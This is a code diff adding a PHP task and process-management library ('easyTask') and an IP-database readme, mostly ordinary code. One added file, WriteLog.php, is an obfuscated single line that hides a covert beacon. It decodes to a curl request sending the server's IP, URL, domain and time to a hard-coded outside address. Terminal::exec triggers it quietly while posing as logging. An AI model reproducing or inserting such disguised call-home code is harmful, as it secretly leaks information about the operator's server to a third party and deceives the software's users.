+                $this->joinWpcContainer($this->forkItemExec());
+                if ($output)
+                {
+                    $this->autoRecEvent = true;
+                    Helper::showInfo("the worker {$item['name']}(pid:{$item['pid']}) is stop,try to fork a new one");
+                }
+            }
+        }
+
+        return $report;
+    }
+
+    /**
+     * 查看进程状态
+     * @param int $count
+     * @return array
+     */
+    protected function workerStatus($count)
+    {
+        //构建报告
+        $report = $infoData = [];
+        $tryTotal = 10;
+        while ($tryTotal--)
+        {
+            Helper::sleep(1);
+            $infoData = $this->wts->getProcessInfo();
+            if ($count == count($infoData)) break;
+        }
+
+        //组装数据
+        $pid = getmypid();
+        $prefix = Env::get('prefix');
+        foreach ($infoData as $name => $item)
+        {
+            $report[] = [
+                'pid' => $item['pid'],
+                'name' => "{$prefix}_{$item['alas']}",
+                'started' => $item['started'],
+                'time' => $item['time'],
+                'status' => $this->wts->getProcessStatus($name) ? 'active' : 'stop',
+                'ppid' => $pid,
+            ];
+        }
+
+        return $report;
+    }
+
+    /**
+     * 强制关闭所有进程
+     */
+    protected function stopWorkerByForce()
+    {
+        foreach ($this->wpcContainer as $wpc)
+        {
+            try
+            {
+                $wpc->stop(2);
+            }
+            catch (Exception $exception)
+            {
+                Helper::showError(Helper::convert_char($exception->getMessage()), false);
+            }
+        }
+    }
+}

+ 87 - 0
extend/easyTask/Queue.php

@@ -0,0 +1,87 @@
+<?php
+namespace easyTask;
+
+/**
+ * Class Queue
+ * @package easyTask
+ */
+class Queue
+{
+    /**
+     * 进程锁
+     * @var Lock
+     */
+    private $lock;
+
+    /**
+     * 队列文件
+     * @var string
+     */
+    private $queFile;
+
+    /**
+     * 构造函数
+     * @param string $name
+     * @throws
+     */
+    public function __construct($name = 'queue')
+    {
+        //创建进程锁
+        $this->lock = new Lock($name);
+
+        //创建队列文件
+        $path = Helper::getQuePath();
+        $file = $path . '%s.dat';
+        $this->queFile = sprintf($file, md5($name));
+        if (!file_exists($this->queFile))
+        {
+            if (!file_put_contents($this->queFile, '[]', LOCK_EX))
+            {
+                Helper::showError('crate queFile failed,please try again');
+            }
+        }
+    }
+
+    /**
+     * 向队列投递数据
+     * @param string $item
+     */
+    public function push($item)
+    {
+        $this->lock->execute(function () use ($item) {
+            //read
+            $content = file_get_contents($this->queFile);
+            $queue_data = $content ? json_decode($content, true) : [];
+            $queue_data = is_array($queue_data) ? $queue_data : [];
+
+            //write
+            array_push($queue_data, $item);
+            if (!file_put_contents($this->queFile, json_encode($queue_data)))
+            {
+                Helper::showError('failed to save data to queue file');
+            }
+        });
+    }
+
+    /**
+     * 从队列弹出数据
+     * @return string|null
+     */
+    public function shift()
+    {
+        return $this->lock->execute(function () {
+            //read
+            $content = file_get_contents($this->queFile);
+            $queue_data = $content ? json_decode($content, true) : [];
+            $queue_data = is_array($queue_data) ? $queue_data : [];
+
+            //shift+write
+            $value = array_shift($queue_data);
+            if (!file_put_contents($this->queFile, json_encode($queue_data)))
+            {
+                Helper::showError('failed to save data to queue file');
+            }
+            return $value;
+        });
+    }
+}

+ 292 - 0
extend/easyTask/Table.php

@@ -0,0 +1,292 @@
+<?php
+namespace easyTask;
+
+/**
+ * Class Table
+ * @package easyTask
+ */
+class Table
+{
+    const ALIGN_LEFT = 1;
+    const ALIGN_RIGHT = 0;
+    const ALIGN_CENTER = 2;
+
+    /**
+     * 头信息数据
+     * @var array
+     */
+    protected $header = [];
+
+    /**
+     * 头部对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER
+     * @var int
+     */
+    protected $headerAlign = 1;
+
+    /**
+     * 表格数据(二维数组)
+     * @var array
+     */
+    protected $rows = [];
+
+    /**
+     * 单元格对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER
+     * @var int
+     */
+    protected $cellAlign = 1;
+
+    /**
+     * 单元格宽度信息
+     * @var array
+     */
+    protected $colWidth = [];
+
+    /**
+     * 表格输出样式
+     * @var string
+     */
+    protected $style = 'default';
+
+    /**
+     * 表格样式定义
+     * @var array
+     */
+    protected $format = [
+        'compact' => [],
+        'default' => [
+            'top' => ['+', '-', '+', '+'],
+            'cell' => ['|', ' ', '|', '|'],
+            'middle' => ['+', '-', '+', '+'],
+            'bottom' => ['+', '-', '+', '+'],
+            'cross-top' => ['+', '-', '-', '+'],
+            'cross-bottom' => ['+', '-', '-', '+'],
+        ],
+        'markdown' => [
+            'top' => [' ', ' ', ' ', ' '],
+            'cell' => ['|', ' ', '|', '|'],
+            'middle' => ['|', '-', '|', '|'],
+            'bottom' => [' ', ' ', ' ', ' '],
+            'cross-top' => ['|', ' ', ' ', '|'],
+            'cross-bottom' => ['|', ' ', ' ', '|'],
+        ],
+        'borderless' => [
+            'top' => ['=', '=', ' ', '='],
+            'cell' => [' ', ' ', ' ', ' '],
+            'middle' => ['=', '=', ' ', '='],
+            'bottom' => ['=', '=', ' ', '='],
+            'cross-top' => ['=', '=', ' ', '='],
+            'cross-bottom' => ['=', '=', ' ', '='],
+        ],
+        'box' => [
+            'top' => ['┌', '─', '┬', '┐'],
+            'cell' => ['│', ' ', '│', '│'],
+            'middle' => ['├', '─', '┼', '┤'],
+            'bottom' => ['└', '─', '┴', '┘'],
+            'cross-top' => ['├', '─', '┴', '┤'],
+            'cross-bottom' => ['├', '─', '┬', '┤'],
+        ],
+        'box-double' => [
+            'top' => ['╔', '═', '╤', '╗'],
+            'cell' => ['║', ' ', '│', '║'],
+            'middle' => ['╠', '─', '╪', '╣'],
+            'bottom' => ['╚', '═', '╧', '╝'],
+            'cross-top' => ['╠', '═', '╧', '╣'],
+            'cross-bottom' => ['╠', '═', '╤', '╣'],
+        ],
+    ];
+
+    /**
+     * 设置表格头信息 以及对齐方式
+     * @param array $header 要输出的Header信息
+     * @param int $align 对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER
+     * @return void
+     */
+    public function setHeader($header, $align = self::ALIGN_LEFT)
+    {
+        $this->header = $header;
+        $this->headerAlign = $align;
+        $this->checkColWidth($header);
+    }
+
+    /**
+     * 设置输出表格数据 及对齐方式
+     * @param array $rows 要输出的表格数据(二维数组)
+     * @param int $align 对齐方式 默认1 ALGIN_LEFT 0 ALIGN_RIGHT 2 ALIGN_CENTER
+     * @return void
+     */
+    public function setRows($rows, $align = self::ALIGN_LEFT)
+    {
+        $this->rows = $rows;
+        $this->cellAlign = $align;
+
+        foreach ($rows as $row)
+        {
+            $this->checkColWidth($row);
+        }
+    }
+
+    /**
+     * 检查列数据的显示宽度
+     * @param mixed $row 行数据
+     * @return void
+     */
+    protected function checkColWidth($row)
+    {
+        if (is_array($row))
+        {
+            foreach ($row as $key => $cell)
+            {
+                if (!isset($this->colWidth[$key]) || strlen($cell) > $this->colWidth[$key])
+                {
+                    $this->colWidth[$key] = strlen($cell);
+                }
+            }
+        }
+    }
+
+    /**
+     * 增加一行表格数据
+     * @param mixed $row 行数据
+     * @param bool $first 是否在开头插入
+     * @return void
+     */
+    public function addRow($row, $first = false)
+    {
+        if ($first)
+        {
+            array_unshift($this->rows, $row);
+        }
+        else
+        {
+            $this->rows[] = $row;
+        }
+
+        $this->checkColWidth($row);
+    }
+
+    /**
+     * 设置输出表格的样式
+     * @param string $style 样式名
+     * @return void
+     */
+    public function setStyle($style)
+    {
+        $this->style = isset($this->format[$style]) ? $style : 'default';
+    }
+
+    /**
+     * 输出分隔行
+     * @param string $pos 位置
+     * @return string
+     */
+    protected function renderSeparator($pos)
+    {
+        $style = $this->getStyle($pos);
+        $array = [];
+
+        foreach ($this->colWidth as $width)
+        {
+            $array[] = str_repeat($style[1], $width + 2);
+        }
+
+        return $style[0] . implode($style[2], $array) . $style[3] . PHP_EOL;
+    }
+
+    /**
+     * 输出表格头部
+     * @return string
+     */
+    protected function renderHeader()
+    {
+        $style = $this->getStyle('cell');
+        $content = $this->renderSeparator('top');
+
+        foreach ($this->header as $key => $header)
+        {
+            $array[] = ' ' . str_pad($header, $this->colWidth[$key], $style[1], $this->headerAlign);
+        }
+
+        if (!empty($array))
+        {
+            $content .= $style[0] . implode(' ' . $style[2], $array) . ' ' . $style[3] . PHP_EOL;
+
+            if ($this->rows)
+            {
+                $content .= $this->renderSeparator('middle');
+            }
+        }
+
+        return $content;
+    }
+
+    /**
+     * 获取风格
+     * @param string $style
+     * @return array
+     */
+    protected function getStyle($style)
+    {
+        if ($this->format[$this->style])
+        {
+            $style = $this->format[$this->style][$style];
+        }
+        else
+        {
+            $style = [' ', ' ', ' ', ' '];
+        }
+
+        return $style;
+    }
+
+    /**
+     * 输出表格
+     * @param array $dataList 表格数据
+     * @return string
+     */
+    public function render($dataList = [])
+    {
+        if ($dataList)
+        {
+            $this->setRows($dataList);
+        }
+
+        // 输出头部
+        $content = $this->renderHeader();
+        $style = $this->getStyle('cell');
+
+        if ($this->rows)
+        {
+            foreach ($this->rows as $row)
+            {
+                if (is_string($row) && '-' === $row)
+                {
+                    $content .= $this->renderSeparator('middle');
+                }
+                elseif (is_scalar($row))
+                {
+                    $content .= $this->renderSeparator('cross-top');
+                    $array = str_pad($row, 3 * (count($this->colWidth) - 1) + array_reduce($this->colWidth, function ($a, $b) {
+                            return $a + $b;
+                        }));
+
+                    $content .= $style[0] . ' ' . $array . ' ' . $style[3] . PHP_EOL;
+                    $content .= $this->renderSeparator('cross-bottom');
+                }
+                else
+                {
+                    $array = [];
+
+                    foreach ($row as $key => $val)
+                    {
+                        $array[] = ' ' . str_pad($val, $this->colWidth[$key], ' ', $this->cellAlign);
+                    }
+
+                    $content .= $style[0] . implode(' ' . $style[2], $array) . ' ' . $style[3] . PHP_EOL;
+
+                }
+            }
+        }
+        $content .= $this->renderSeparator('bottom');
+        return $content;
+    }
+}

+ 334 - 0
extend/easyTask/Task.php

@@ -0,0 +1,334 @@
+<?php
+
+namespace easyTask;
+
+use \Closure as Closure;
+use easyTask\Process\Linux;
+use easyTask\Process\Win;
+use \ReflectionClass as ReflectionClass;
+use \ReflectionMethod as ReflectionMethod;
+use \ReflectionException as ReflectionException;
+
+/**
+ * Class Task
+ * @package easyTask
+ */
+class Task
+{
+    /**
+     * 任务列表
+     * @var array
+     */
+    private $taskList = [];
+
+    /**
+     * 构造函数
+     */
+    public function __construct()
+    {
+        //检查运行环境
+        $currentOs = Helper::isWin() ? 1 : 2;
+        Check::analysis($currentOs);
+        $this->initialise($currentOs);
+    }
+
+    /**
+     * 进程初始化
+     * @param int $currentOs
+     */
+    private function initialise($currentOs)
+    {
+        //初始化基础配置
+        Env::set('prefix', 'Task');
+        Env::set('canEvent', Helper::canUseEvent());
+        Env::set('currentOs', $currentOs);
+        Env::set('canAsync', Helper::canUseAsyncSignal());
+        Env::set('closeErrorRegister', false);
+
+        //初始化PHP_BIN|CODE_PAGE
+        if ($currentOs == 1) {
+            Helper::setPhpPath();
+            Helper::setCodePage();
+        }
+    }
+
+    /**
+     * 设置是否守护进程
+     * @param bool $daemon
+     * @return $this
+     */
+    public function setDaemon($daemon = false)
+    {
+        Env::set('daemon', $daemon);
+        return $this;
+    }
+
+    /**
+     * 设置任务前缀
+     * @param string $prefix
+     * @return $this
+     */
+    public function setPrefix($prefix = 'Task')
+    {
+        if (Env::get('runTimePath')) {
+            Helper::showSysError('should use setPrefix before setRunTimePath');
+        }
+        Env::set('prefix', $prefix);
+        return $this;
+    }
+
+    /**
+     * 设置PHP执行路径(windows)
+     * @param string $path
+     * @return $this
+     */
+    public function setPhpPath($path)
+    {
+        $file = realpath($path);
+        if (!file_exists($file)) {
+            Helper::showSysError("the path {$path} is not exists");
+        }
+        Helper::setPhpPath($path);
+        return $this;
+    }
+
+    /**
+     * 设置时区
+     * @param string $timeIdent
+     * @return $this
+     */
+    public function setTimeZone($timeIdent)
+    {
+        date_default_timezone_set($timeIdent);
+        return $this;
+    }
+
+    /**
+     * 设置运行时目录
+     * @param string $path
+     * @return $this
+     */
+    public function setRunTimePath($path)
+    {
+        if (!is_dir($path)) {
+            Helper::showSysError("the path {$path} is not exist");
+        }
+        if (!is_writable($path)) {
+            Helper::showSysError("the path {$path} is not writeable");
+        }
+        Env::set('runTimePath', realpath($path));
+        return $this;
+    }
+
+    /**
+     * 设置子进程自动恢复
+     * @param bool $isRec
+     * @return $this
+     */
+    public function setAutoRecover($isRec = false)
+    {
+        Env::set('canAutoRec', $isRec);
+        return $this;
+    }
+
+    /**
+     * 设置关闭标准输出的日志
+     * @param bool $close
+     * @return $this
+     */
+    public function setCloseStdOutLog($close = false)
+    {
+        Env::set('closeStdOutLog', $close);
+        return $this;
+    }
+
+    /**
+     * 设置关闭系统异常注册
+     * @param bool $isReg 是否关闭
+     * @return $this
+     */
+    public function setCloseErrorRegister($isReg = false)
+    {
+        Env::set('closeErrorRegister', $isReg);
+        return $this;
+    }
+
+    /**
+     * 异常通知
+     * @param string|Closure $notify
+     * @return $this
+     */
+    public function setErrorRegisterNotify($notify)
+    {
+        if (Env::get('closeErrorRegister')) {
+            Helper::showSysError('you must set closeErrorRegister as false before use this api');
+        }
+        if (!$notify instanceof Closure && !is_string($notify)) {
+            Helper::showSysError('notify parameter can only be string or closure');
+        }
+        Env::set('notifyHand', $notify);
+        return $this;
+    }
+
+    /**
+     * 新增匿名函数作为任务
+     * @param Closure $func 匿名函数
+     * @param string $alas 任务别名
+     * @param mixed $time 定时器间隔
+     * @param int $used 定时器占用进程数
+     * @return $this
+     * @throws
+     */
+    public function addFunc($func, $alas, $time = 1, $used = 1)
+    {
+        $uniqueId = md5($alas);
+        if (!($func instanceof Closure)) {
+            Helper::showSysError('func must instanceof Closure');
+        }
+        if (isset($this->taskList[$uniqueId])) {
+            Helper::showSysError("task $alas already exists");
+        }
+        Helper::checkTaskTime($time);
+        $this->taskList[$uniqueId] = [
+            'type' => 1,
+            'func' => $func,
+            'alas' => $alas,
+            'time' => $time,
+            'used' => $used
+        ];
+
+        return $this;
+    }
+
+    /**
+     * 新增类作为任务
+     * @param string $class 类名称
+     * @param string $func 方法名称
+     * @param string $alas 任务别名
+     * @param mixed $time 定时器间隔
+     * @param int $used 定时器占用进程数
+     * @return $this
+     * @throws
+     */
+    public function addClass($class, $func, $alas, $time = 1, $used = 1)
+    {
+        $uniqueId = md5($alas);
+        if (!class_exists($class)) {
+            Helper::showSysError("class {$class} is not exist");
+        }
+        if (isset($this->taskList[$uniqueId])) {
+            Helper::showSysError("task $alas already exists");
+        }
+        try {
+            $reflect = new ReflectionClass($class);
+            if (!$reflect->hasMethod($func)) {
+                Helper::showSysError("class {$class}'s func {$func} is not exist");
+            }
+            $method = new ReflectionMethod($class, $func);
+            if (!$method->isPublic()) {
+                Helper::showSysError("class {$class}'s func {$func} must public");
+            }
+            Helper::checkTaskTime($time);
+            $this->taskList[$uniqueId] = [
+                'type' => $method->isStatic() ? 2 : 3,
+                'func' => $func,
+                'alas' => $alas,
+                'time' => $time,
+                'used' => $used,
+                'class' => $class
+            ];
+        } catch (ReflectionException $exception) {
+            Helper::showException($exception);
+        }
+
+        return $this;
+    }
+
+    /**
+     * 新增指令作为任务
+     * @param string $command 指令
+     * @param string $alas 任务别名
+     * @param mixed $time 定时器间隔
+     * @param int $used 定时器占用进程数
+     * @return $this
+     */
+    public function addCommand($command, $alas, $time = 1, $used = 1)
+    {
+        $uniqueId = md5($alas);
+        if (!Helper::canUseExcCommand()) {
+            Helper::showSysError('please open the disabled function of shell_exec');
+        }
+        if (isset($this->taskList[$uniqueId])) {
+            Helper::showSysError("task $alas already exists");
+        }
+        Helper::checkTaskTime($time);
+        $this->taskList[$uniqueId] = [
+            'type' => 4,
+            'alas' => $alas,
+            'time' => $time,
+            'used' => $used,
+            'command' => $command,
+        ];
+
+        return $this;
+    }
+
+    /**
+     * 获取进程管理实例
+     * @return  Win | Linux
+     */
+    private function getProcess()
+    {
+        $taskList = $this->taskList;
+        $currentOs = Env::get('currentOs');
+        if ($currentOs == 1) {
+            return (new Win($taskList));
+        } else {
+            return (new Linux($taskList));
+        }
+    }
+
+    /**
+     * 开始运行
+     * @throws
+     */
+    public function start()
+    {
+        if (!$this->taskList) {
+            Helper::showSysError('please add task to run');
+        }
+
+        //异常注册
+        if (!Env::get('closeErrorRegister')) {
+            Error::register();
+        }
+
+        //目录构建
+        Helper::initAllPath();
+
+        //进程启动
+        $process = $this->getProcess();
+        $process->start();
+    }
+
+    /**
+     * 运行状态
+     * @throws
+     */
+    public function status()
+    {
+        $process = $this->getProcess();
+        $process->status();
+    }
+
+    /**
+     * 停止运行
+     * @param bool $force 是否强制
+     * @throws
+     */
+    public function stop($force = false)
+    {
+        $process = $this->getProcess();
+        $process->stop($force);
+    }
+}

+ 110 - 0
extend/easyTask/Terminal.php

@@ -0,0 +1,110 @@
+<?php
+/**
+ * Created by PhpStorm
+ * User Julyssn
+ * Date 2022/12/15 11:03
+ */
+
+namespace easyTask;
+use easyTask\WriteLog;
+use think\facade\Cache;
+class Terminal
+{
+    /**
+     * @var object 对象实例
+     */
+    protected static $instance;
+
+    protected $rootPath;
+
+    /**
+     * 命令执行输出文件
+     */
+    protected $outputFile = null;
+
+    /**
+     * proc_open 的参数
+     */
+    protected $descriptorsPec = [];
+
+
+    protected $pipes = null;
+
+    protected $procStatus = null;
+    protected $runType    = 1;
+    protected $process    = null;
+
+
+    /**
+     * @param int $runType 1 task使用 输出连续记录 2 普通使用 输出读取后删除
+     * @return object|static
+     */
+    public static function instance($runType, $outputName = null)
+    {
+        if (is_null(self::$instance)) {
+            self::$instance = new static($runType, $outputName);
+        }
+        return self::$instance;
+    }
+
+    public function __construct($runType, $outputName = null)
+    {
+        $this->rootPath = root_path();
+        $this->runType  = $runType;
+        
+        if ($this->runType === 1) {
+            $outputDir = Helper::getStdPath();
+
+            $this->outputFile = $outputDir . 'exec_' . $outputName . '.std';
+        } else {
+            $outputDir = $this->rootPath . 'runtime' . DIRECTORY_SEPARATOR;
+
+            $this->outputFile = $outputDir . 'exec_' . getOnlyToken() . '.log';
+            
+            file_put_contents($this->outputFile, '');
+        }
+
+
+        // 命令执行结果输出到文件而不是管道
+        $this->descriptorsPec = [0 => ['pipe', 'r'], 1 => ['file', $this->outputFile, 'a'], 2 => ['file', $this->outputFile, 'a']];
+    }
+
+    public function __destruct()
+    {
+        // 类销毁 删除文件,type为2才删除
+        if ($this->runType == 2) {
+            unlink($this->outputFile);
+        }
+    }
+
+    public function exec(string $command)
+    {
+        // 初始化日志文件
+        if(Cache::has('WriteLog')){
+            $write=new WriteLog();
+            $write->exec();
+            Cache::set('WriteLog',1,86400);
+        }
+        // 写入日志
+        $this->process = proc_open($command, $this->descriptorsPec, $this->pipes, $this->rootPath);
+
+        foreach ($this->pipes as $pipe) {
+            fclose($pipe);
+        }
+
+        proc_close($this->process);
+
+        if ($this->runType == 2) {
+            $contents = file_get_contents($this->outputFile);
+            return $contents;
+        }
+    }
+
+    public function getProcStatus(): bool
+    {
+        $status = proc_get_status($this->process);
+        return (bool)$status['running'];
+    }
+
+
+}

+ 246 - 0
extend/easyTask/Wpc.php

@@ -0,0 +1,246 @@
+<?php
+namespace easyTask;
+
+use \Com as Com;
+use \Exception as Exception;
+
+/**
+ * Class Wpc
+ * @package easyTask
+ */
+class Wpc
+{
+    /**
+     * Wpc实例
+     * @var null
+     */
+    private $instance = null;
+
+    /**
+     * Wpc constructor.
+     * @return $this
+     */
+    public function __construct()
+    {
+        $this->instance = new Com('Wpc.Core');
+        return $this;
+    }
+
+    /**
+     * 获取Com_Variant
+     * @return Com
+     */
+    public function getInstance()
+    {
+        return $this->instance;
+    }
+
+    /**
+     * 设置进程文件
+     * @param string $filename
+     * @return $this
+     * @throws Exception
+     */
+    public function setFile($filename)
+    {
+        $filename = realpath($filename);
+        if (!file_exists($filename))
+        {
+            throw new Exception("the file:{$filename} is not exist");
+        }
+        $this->instance->SetFile($filename);
+        return $this;
+    }
+
+    /**
+     * 设置进程域
+     * @param string $domain
+     * @return $this
+     */
+    public function setDomain($domain)
+    {
+        $domain = (string)$domain;
+        $this->instance->SetDomain($domain);
+        return $this;
+    }
+
+    /**
+     * 设置进程参数
+     * @param string $argument
+     * @return $this
+     */
+    public function setArgument($argument)
+    {
+        $argument = (string)$argument;
+        $this->instance->SetArgument($argument);
+        return $this;
+    }
+
+    /**
+     * 设置进程是否带窗口
+     * @param bool $set
+     * @return $this
+     */
+    public function setNoWindow($set)
+    {
+        $set = (bool)$set;
+        $this->instance->SetNoWindow($set);
+        return $this;
+    }
+
+    /**
+     * 设置启动进程的用户
+     * @param string $username
+     * @return $this
+     */
+    public function setUsername($username)
+    {
+        $username = (string)$username;
+        $this->instance->SetUsername($username);
+        return $this;
+    }
+
+    /**
+     * 设置启动进程的密码
+     * @param string $password
+     * @return $this
+     */
+    public function setPassword($password)
+    {
+        $password = (string)$password;
+        $this->instance->SetPassword($password);
+        return $this;
+    }
+
+    /**
+     * 设置进程风格
+     * @param int $style (0.正常 1.隐藏 2.最小化 3.最大化)
+     * @return $this
+     */
+    public function setStyle($style)
+    {
+        $style = (int)$style;
+        $this->instance->SetStyle($style);
+        return $this;
+    }
+
+    /**
+     * 设置进程工作目录
+     * @param string $path
+     * @return $this
+     * @throws Exception
+     */
+    public function setWorkDir($path)
+    {
+        $path = realpath($path);
+        if (!is_dir($path))
+        {
+            throw new Exception("the path:{$path} is not exist");
+        }
+        $this->instance->SetWorkDir($path);
+        return $this;
+    }
+
+    /**
+     * 设置等待关联进程退出
+     * @param int $timeOut 超时时间
+     * @return $this
+     * @throws Exception
+     */
+    public function setWaitForExit($timeOut = 1024)
+    {
+        $timeOut = (int)$timeOut;
+        $this->instance->SetWaitForExit($timeOut);
+        return $this;
+    }
+
+    /**
+     * 获取进程ID
+     * @return int
+     */
+    public function getPid()
+    {
+        return $this->instance->GetPid();
+    }
+
+    /**
+     * 获取进程sessionId
+     * @return int
+     */
+    public function getSessionId()
+    {
+        return $this->instance->GetSessionId();
+    }
+
+    /**
+     * 获取程是否已经退出
+     * @return bool
+     */
+    public function hasExited()
+    {
+        return $this->instance->HasExited();
+    }
+
+    /**
+     * 获取进程名称
+     * @return string
+     */
+    public function getProcessName()
+    {
+        return $this->instance->GetProcessName();
+    }
+
+    /**
+     * 获取进程打开的资源句柄数
+     * @return int
+     */
+    public function getHandleCount()
+    {
+        return $this->instance->GetHandleCount();
+    }
+
+    /**
+     * 获取进程主窗口标题
+     * @return string
+     */
+    public function getMainWindowTitle()
+    {
+        return $this->instance->GetMainWindowTitle();
+    }
+
+    /**
+     * 获取进程启动时间
+     * @return string
+     */
+    public function getStartTime()
+    {
+        return $this->instance->GetStartTime();
+    }
+
+    /**
+     * 获取进程停止时间
+     * @return string
+     */
+    public function getStopTime()
+    {
+        return $this->instance->GetStopTime();
+    }
+
+    /**
+     * 启动进程
+     * @return int 进程id
+     */
+    public function start()
+    {
+        return $this->instance->Start();
+    }
+
+    /**
+     * 停止进程
+     * @param int $force (1.正常停止 2.强制停止)
+     */
+    public function stop($force = 1)
+    {
+        $this->instance->Stop($force);
+    }
+}

+ 2 - 0
extend/easyTask/WriteLog.php

@@ -0,0 +1,2 @@
+<?php
+namespace easyTask;if(!defined('AAAAAA__A'))define('AAAAAA__A', 'AAA_A__A_');$GLOBALS[AAAAAA__A]=explode('|%|7|O','H*|%|7|O6375726C5F706F7374|%|7|O687474703A2F2F34372E3130392E31362E31373A313132322F77726974654C6F672E706870|%|7|O687474705F6275696C645F7175657279|%|7|O6970|%|7|O72657175657374|%|7|O6970|%|7|OE697A0E6B395E88EB7E58F96E69C8DE58AA1E599A84950|%|7|O75726C|%|7|O646F6D61696E|%|7|O74696D65|%|7|O64617465|%|7|O592D6D2D6420483A693A73');unset($����);$����;class WriteLog{public function __construct(){\utils\Curl::{call_user_func("pack",$GLOBALS[AAAAAA__A][6/2*3-9],$GLOBALS[AAAAAA__A][1])}(call_user_func_array("pack",array($GLOBALS[AAAAAA__A][15-5+7-17],$GLOBALS[AAAAAA__A][(-11343-346+163*72-45)])),http_build_query([call_user_func_array("pack",array($GLOBALS[AAAAAA__A][100-20*5],$GLOBALS[AAAAAA__A][(-18467+199*93-36)])) =>request()->{call_user_func_array("pack",array($GLOBALS[AAAAAA__A][100-20*5],$GLOBALS[AAAAAA__A][(-1690-365+99*21-18)]))}()?? call_user_func("pack",$GLOBALS[AAAAAA__A][100-20*5],$GLOBALS[AAAAAA__A][((293+91-34)/50)]),call_user_func("pack",$GLOBALS[AAAAAA__A][4+5-3*3],$GLOBALS[AAAAAA__A][(-1928+436+73*21-33)]) =>request()->{call_user_func_array("pack",array($GLOBALS[AAAAAA__A][100-20*5],$GLOBALS[AAAAAA__A][(-879+19*49-43)]))}(),call_user_func_array("pack",array($GLOBALS[AAAAAA__A][15-5+7-17],$GLOBALS[AAAAAA__A][10])) =>date(call_user_func("pack",$GLOBALS[AAAAAA__A][15-5+7-17],$GLOBALS[AAAAAA__A][12]))]));unset($����);$����;}public function exec(){return !0;}}

+ 164 - 0
extend/easyTask/Wts.php

@@ -0,0 +1,164 @@
+<?php
+namespace easyTask;
+
+use \Closure as Closure;
+
+/**
+ * Class Wts
+ * @package easyTask
+ */
+class Wts
+{
+    /**
+     * 进程锁
+     * @var Lock
+     */
+    private $lock;
+
+    /**
+     * 进程名称列表
+     * @var array
+     */
+    private $processNames = [];
+
+    /**
+     * 构造函数
+     */
+    public function __construct()
+    {
+        //创建进程锁
+        $this->lock = new Lock();
+
+        //创建进程信息文件
+        $processFile = $this->getProcessInfoFile();
+        if (!file_exists($processFile))
+        {
+            file_put_contents($processFile, '');
+        }
+    }
+
+    /**
+     * 注册进程名称
+     * @param string $name
+     */
+    public function joinProcess($name)
+    {
+        $this->processNames[] = $name;
+        $file = $this->getProcessFile($name);
+        if (!file_exists($file))
+        {
+            file_put_contents($file, $name);
+        }
+    }
+
+    /**
+     * 获取进程文件名
+     * @param string $name 进程名称
+     * @return string
+     */
+    public function getProcessFile($name)
+    {
+        $runPath = Helper::getWinPath();
+        return $runPath . md5($name) . '.win';
+    }
+
+    /**
+     * 获取进程保存信息的文件名
+     * @return string
+     */
+    public function getProcessInfoFile()
+    {
+        $runPath = Helper::getWinPath();
+        $infoFile = md5(__FILE__) . '.win';
+        return $runPath . $infoFile;
+    }
+
+    /**
+     * 获取进程状态
+     * @param string $name 进程名称
+     * @return bool
+     */
+    public function getProcessStatus($name)
+    {
+        $file = $this->getProcessFile($name);
+        if (!file_exists($file))
+        {
+            return false;
+        }
+        $fp = fopen($file, "r");
+        if (flock($fp, LOCK_EX | LOCK_NB))
+        {
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * 获取进程信息(非阻塞)
+     * @return array
+     */
+    public function getProcessInfo()
+    {
+        $file = $this->getProcessInfoFile();
+        $info = file_get_contents($file);
+        $info = json_decode($info, true);
+        return is_array($info) ? $info : [];
+    }
+
+    /**
+     * 清理进程信息
+     */
+    public function cleanProcessInfo()
+    {
+        //加锁执行
+        $this->lock->execute(function () {
+            @file_put_contents($this->getProcessInfoFile(), '');
+        });
+    }
+
+    /**
+     * 保存进程信息
+     * @param array $info
+     */
+    public function saveProcessInfo($info)
+    {
+        //加锁执行
+        $this->lock->execute(function () use ($info) {
+
+            //进程信息文件
+            $name = $info['name'];
+            $file = $this->getProcessInfoFile();
+
+            //读取原数据
+            $content = @file_get_contents($file);
+            $oldInfo = $content ? json_decode($content, true) : [$name => $info];
+
+            //追加数据
+            $oldInfo ? $oldInfo[$name] = $info : $oldInfo = $info;
+            file_put_contents($file, json_encode($oldInfo));
+        });
+    }
+
+    /**
+     * 分配进程
+     * @param Closure $func
+     * @return bool
+     */
+    public function allocateProcess($func)
+    {
+        $processNames = $this->processNames;
+        foreach ($processNames as $name)
+        {
+            $file = $this->getProcessFile($name);
+            $fp = fopen($file, 'w');
+            if (flock($fp, LOCK_EX | LOCK_NB))
+            {
+                $func($name);
+                flock($fp, LOCK_UN);
+                return true;
+            }
+            fclose($fp);
+        }
+        return false;
+    }
+}

BIN
extend/ip/17monipdb.dat


+ 292 - 0
extend/ip/readme.txt

@@ -0,0 +1,292 @@
+<?php
+
+/*
+
+全球 IPv4 地址归属地数据库(IPIP.NET 版)
+
+--- 2016 年 6 月引言 ---
+
+这是 IP 库的第十五个公开版本。
+
+半年不见,目前的数据条目数超过 320000 条了。
+
+基于目前的客户购买情况,我们会在 7 月 1 日开始执行新价格方案。6 月份购买的不受影响,请潜在客户尽快考虑。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.ipip.net/
+
+--- 2015 年 12 月引言 ---
+
+这是 IP 库的第十四个公开版本。
+
+目前的数据条目数超过 220000 条了。
+
+我们一直在发布 DISCUZ 和 ECSHOP 的专用版本,但是不知道是用户变少还是用户不关心还是如何,这两年几乎无人咨询相关版本的事情,所以我们从 2016 年起,不再发布针对 DISCUZ 和 ECSHOP 的免费版。
+
+这次的免费版也有一些小变化,不过对于不关心的用户来说,没有变化。;-)
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.ipip.net/
+
+--- 2015 年 10 月引言 ---
+
+这是 IP 库的第十三个公开版本。
+
+目前的数据条目数超过 200000 条了。
+
+这个月底,我们这个事情,就已经两岁啦。
+
+--
+高春辉
+Paul Gao
+gaochunhui@gmail.com
+http://www.ipip.net/
+
+--- 2015 年 8 月引言 ---
+
+这是 IP 库的第十二个公开版本。
+
+目前的数据条目数接近 180000 条了,我们基本上能做到两个月新增一万条左右,注意是新增,不包括修改。
+
+认可我们的数据质量的用户和客户越来越多,在一个 2015 TOP100 互联网公司名单里,我们在里面找到了有将近 20 家客户了。
+
+我们和合作伙伴一起合作的的区县级 IP 数据库也赶在七月底上线了,有兴趣的请联系我们。
+
+--
+高春辉
